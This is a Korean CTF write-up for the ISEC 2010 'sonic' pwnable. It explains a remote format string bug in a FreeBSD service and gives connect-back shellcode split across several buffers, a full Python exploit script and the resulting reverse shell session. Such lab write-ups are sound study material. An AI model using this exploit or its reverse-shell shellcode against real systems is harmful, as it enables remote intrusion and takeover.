Category : Pwnables
NULL |
Summary : remote format string vulnerability , chaining shellcode
[pwn3r@localhost sonic]$ file sonic sonic: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.1, stripped |
[pwn3r@localhost sonic]$ nc 192.168.123.129 2080 Password : pwn3r # Connection refused |
void __fastcall main(int a1, int a2, char a3) { char client_rejoin; // [sp+1Bh] [bp-101h]@28 char v4; // [sp+1Ch] [bp-100h]@8 char sock_addr; // [sp+2Ch] [bp-F0h]@3 char v6; // [sp+2Dh] [bp-EFh]@3 __int16 v7; // [sp+2Eh] [bp-EEh]@3 int v8; // [sp+30h] [bp-ECh]@3 socklen_t addr_len; // [sp+3Ch] [bp-E0h]@8 char introduce; // [sp+40h] [bp-DCh]@26 char v11; // [sp+53h] [bp-C9h]@26 char client_team; // [sp+54h] [bp-C8h]@23 char client_token; // [sp+72h] [bp-AAh]@10 char client_nick; // [sp+90h] [bp-8Ch]@26 char client_pw; // [sp+AEh] [bp-6Eh]@20 char client_id; // [sp+CCh] [bp-50h]@17 char client_name; // [sp+EAh] [bp-32h]@14 int server_fd; // [sp+108h] [bp-14h]@1 int client_fd; // [sp+10Ch] [bp-10h]@8 int pid; // [sp+110h] [bp-Ch]@8 int v21; // [sp+114h] [bp-8h]@14 int v22; // [sp+118h] [bp-4h]@1 v22 = a1; server_fd = socket(2, 1, 0); if ( server_fd == -1 ) exit(1); memset(&sock_addr, 0, 16u); v6 = 2; v7 = sub_8049040(2080u); v8 = sub_8049070(0); if ( bind(server_fd, (const struct sockaddr *)&sock_addr, 16u) == -1 ) { puts("portbind error"); exit(1); } if ( listen(server_fd, 5) == -1 ) exit(1); while ( 1 ) { addr_len = 16; client_fd = accept(server_fd, (struct sockaddr *)&v4, &addr_len); pid = fork(); if ( pid ) break; close(client_fd); } close(server_fd); if ( client_fd != -1 ) { send(client_fd, "Password : ", 12u, 0); recv(client_fd, &client_token, 30u, 0); if ( !strcmp(&client_token, "hellsonic") ) { v21 = 0; send(client_fd, "Welcome to the S0N1C W0rld!", 0x1Cu, 0); send(client_fd, "name : ", 8u, 0); recv(client_fd, &client_name, 30u, 0); if ( strcmp(&client_name, "H3LLS0NiC") ) { close(client_fd); exit(0); } send(client_fd, "id : ", 6u, 0); recv(client_fd, &client_id, 30u, 0); if ( strcmp(&client_id, "WOWH4CK3R") ) { close(client_fd); exit(0); } send(client_fd, "pw : ", 6u, 0); recv(client_fd, &client_pw, 30u, 0); if ( strcmp(&client_pw, "PaSSW0rd") ) { close(client_fd); exit(0); } send(client_fd, "team : ", 8u, 0); recv(client_fd, &client_team, 30u, 0); if ( strcmp(&client_team, "wowhacker") ) { close(client_fd); exit(0); } send(client_fd, "introduce : ", 13u, 0); recv(client_fd, &introduce, 20u, 0); v11 = 0; send(client_fd, "nick : ", 8u, 0); recv(client_fd, &client_nick, 30u, 0); if ( strcmp(&client_nick, "N1CkN4M3") ) { close(client_fd); } else { send(client_fd, "Thanks to join us! we are ", 0x1Bu, 0); printf(&introduce); // Vuln !! send(client_fd, "hellsoinc world's member!!", 0x12u, 0); send(client_fd, "rejoin?(y/n) ", 14u, 0); recv(client_fd, &client_rejoin, 1u, 0); if ( client_rejoin == 'y' ) { send(client_fd, "name : ", 8u, 0); recv(client_fd, &client_name, 30u, 0); if ( strcmp(&client_name, "H3LLS0NiC") ) { close(client_fd); exit(0); } send(client_fd, "id : ", 6u, 0); recv(client_fd, &client_id, 30u, 0); if ( strcmp(&client_id, "WOWH4CK3R") ) { close(client_fd); exit(0); } send(client_fd, "pw : ", 6u, 0); recv(client_fd, &client_pw, 30u, 0); if ( strcmp(&client_pw, "PaSSW0rd") ) { close(client_fd); exit(0); } send(client_fd, "team : ", 8u, 0); recv(client_fd, &client_team, 30u, 0); if ( strcmp(&client_team, "wowhacker") ) { close(client_fd); exit(0); } send(client_fd, "introduce : ", 13u, 0); recv(client_fd, &introduce, 20u, 0); v11 = 0; send(client_fd, "nick : ", 8u, 0); recv(client_fd, &client_nick, 30u, 0); if ( strcmp(&client_nick, "N1CkN4M3") ) { close(client_fd); } else { send(client_fd, "Thanks to join us! we are ", 27u, 0); printf(&introduce); // Vuln !! send(client_fd, "hellsoinc world's member!!", 18u, 0); } } } close(client_fd); exit(0); } close(client_fd); exit(0); } exit(1); } |
client로부터 데이터를 전송받고 , 전송받은 데이터가 특정 문자열과 같은지 검사하여 같으면 다른문자열을 전송받고 특정 문자열과 비교하는 과정을 반복한다.
그리고 introduce배열에 데이터를 수신하면 포맷스트링없이 배열을 그대로 출력하기때문에 format string vulnerability가 발생한다.
close@got를 쉘코드의 주소로 덮어주면 되지만 , introduce배열에 데이터를 최대 20byte까지만 수신하기때문에 format string vulnerability로 한번에 4byte의 데이터를 덮어주긴힘들다.
그런데 "rejoin?(y/n)"이란문자열을 수신했을때 "y"를 전송해주면 위에서 설명했던과정을 한번더 수행하기때문에 2byte씩 덮어줌으로써 문제점을 해결할수 있다.
그런데 또다른문제점은 , 쉘코드를 넣어줄 크기의 지역변수가 없다는점이다. 30byte의 배열이 여러개 있긴하지만 , 배열의 앞부분에 넣어줘야하는 문자열이 있기때문에 실제로 쓸수 있는 공간은 모두 분리되어있다.
이는 쉘코드를 여러개로 나누어서 jmp코드로 연결해줌으로써 해결할 수 있다.
0x8049680 <buf>: push $0x837ba8c0 0x8049685 <buf+5>: push $0x5c1102ff 0x804968a <buf+10>: mov %esp,%edi 0x804968c <buf+12>: xor %eax,%eax 0x804968e <buf+14>: push %eax 0x804968f <buf+15>: push $0x1 -> (gdb) x/17bx 0x8049680 0x8049680 <buf>: 0x68 0xc0 0xa8 0x7b 0x83 0x68 0xff 0x02 0x8049688 <buf+8>: 0x11 0x5c 0x89 0xe7 0x31 0xc0 0x50 0x6a 0x8049690 <buf+16>: 0x01 =========> "\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01" (17byte) ----------------------------------------------------------------------------- 0x8049691 <buf+17>: push $0x2 0x8049693 <buf+19>: push $0x10 0x8049695 <buf+21>: mov $0x61,%al 0x8049697 <buf+23>: int $0x80 0x8049699 <buf+25>: push %edi 0x804969a <buf+26>: push %eax 0x804969b <buf+27>: push %eax 0x804969c <buf+28>: push $0x62 0x804969e <buf+30>: pop %eax 0x804969f <buf+31>: int $0x80 0x80496a1 <buf+33>: push %eax ->(gdb) x/17bx 0x8049691 0x8049691 <buf+17>: 0x6a 0x02 0x6a 0x10 0xb0 0x61 0xcd 0x80 0x8049699 <buf+25>: 0x57 0x50 0x50 0x6a 0x62 0x58 0xcd 0x80 0x80496a1 <buf+33>: 0x50 ====================> "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" (17byte) ----------------------------------------------------------------------------- 0x80496a2 <buf+34>: push $0x5a 0x80496a4 <buf+36>: pop %eax 0x80496a5 <buf+37>: int $0x80 0x80496a7 <buf+39>: decl -0x18(%edi) 0x80496aa <buf+42>: jns 0x80496a2 <buf+34> 0x80496ac <buf+44>: push $0x68732f2f -> (gdb) x/15bx 0x80496a2 0x80496a2 <buf+34>: 0x6a 0x5a 0x58 0xcd 0x80 0xff 0x4f 0xe8 0x80496aa <buf+42>: 0x79 0xf6 0x68 0x2f 0x2f 0x73 0x68 ============> "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" (15byte) ----------------------------------------------------------------------------- 0x80496b1 <buf+49>: push $0x6e69622f 0x80496b6 <buf+54>: mov %esp,%ebx 0x80496b8 <buf+56>: push %eax 0x80496b9 <buf+57>: push %esp 0x80496ba <buf+58>: push %ebx 0x80496bb <buf+59>: push %eax 0x80496bc <buf+60>: mov $0x3b,%al 0x80496be <buf+62>: int $0x80 -> (gdb) x/15bx 0x80495f1 0x80495f1 <buf+49>: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50 0x80495f9 <buf+57>: 0x54 0x53 0x50 0xb0 0x3b 0xcd 0x80 ===========> "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" (15byte) ----------------------------------------------------------------------------- "wowhacker\x00"+ "aa" + (got_addr) + (got_addr+2) "hellsonic\x00"+ "\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01"+"\xeb\x0a\x90" "N1CkN4M3\x00" + "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" + "\xeb\x0b\x90\x90" "PaSSW0rd\x00" + "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" + "\xeb\x0e\x90\x90\x90\x90" "W0WH4CK3R\x00" + "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90\x90" |
jmp코드를 이용해 떨어져있는 쉘코드들을 연결했다.
exploit.py |
#!/usr/bin/python from socket import * import pwn3rlib # pwn3rlib.py에 fsb payload를 생성해주는 함수가 정의되어있다. import time HOST = "192.168.123.129" PORT = 2080 PROFILE = {"team":"wowhacker\x00aa" , \ "token":"hellsonic\x00"+"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01"+"\xeb\x0a\x90", \ "nick":"N1CkN4M3\x00" + "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" + "\xeb\x0b\x90\x90" , \ "pw":"PaSSW0rd\x00" + "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68" + "\xeb\x0e\x90\x90\x90\x90" , \ "id":"WOWH4CK3R\x00" + "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" + "\x90\x90\x90\x90\x90" , \ "name":"H3LLS0NiC\x00"}close_got = 0x804a35c OFFSET = 24 fsb = pwn3rlib.fsb()for ret in range(0xbfbfec00 , 0xbfbeffff , -2): payload = [] tmp = fsb.getpayload(OFFSET , [hex(close_got)] , [hex(ret%0x10000)]) PROFILE['team'] = "wowhacker\x00aa" PROFILE['team'] += tmp[:tmp.index("%")] payload.append(tmp[tmp.index("%"):]) tmp = fsb.getpayload(OFFSET + 1 , [hex(close_got+2)] , [hex(ret/0x10000)]) PROFILE['team'] += tmp[:tmp.index("%")] payload.append(tmp[tmp.index("%"):]) s = socket(AF_INET , SOCK_STREAM) s.connect((HOST , PORT)) s.recv(1024) s.send(PROFILE['token']) for i in range(0,2): s.recv(1024) s.send(PROFILE['name']) s.recv(1024) s.send(PROFILE['id']) s.recv(1024) s.send(PROFILE['pw']) s.recv(1024) s.send(PROFILE['team']) s.recv(1024) s.send(payload[i]+"\x00"*(20-len(payload[i]))) s.recv(1024) s.send(PROFILE['nick']) s.recv(1024) if i==0: s.send("y") time.sleep(0.2) s.close() time.sleep(0.1) |
[pwn3r@localhost sonic]$ ./exploit.py & nc -lv 4444 [3] 12210 Connection from 192.168.123.129 port 4444 [tcp/krb524] accepted id uid=1006(sonic) gid=1006(sonic) groups=1006(sonic) ls -l total 2612 -r-------- 1 sonic sonic 33 Sep 12 22:41 key -rwxr-xr-x 1 sonic sonic 6452 Sep 12 09:06 sonic |
pwned :)
p.s. ISEC2010때 본선가셨던분께 얻은 문제바이너리를 풀어본것입니다 (제가 가서풀었던거 쓴게아닙니다 :)
'CTF' 카테고리의 다른 글
Secuinside 2012 Quals - Dethstarr (Exploit only) (0) | 2012.10.07 |
---|---|
2011 Holy-Shield Hacking Festival Report (4) | 2011.11.29 |
ISEC 2010 본선 CTF - skeleton (0) | 2011.10.13 |
HDCON 2011 본선 CTF - lucky (4) | 2011.10.13 |
2011 HUST Hacking Festival - M (0) | 2011.10.03 |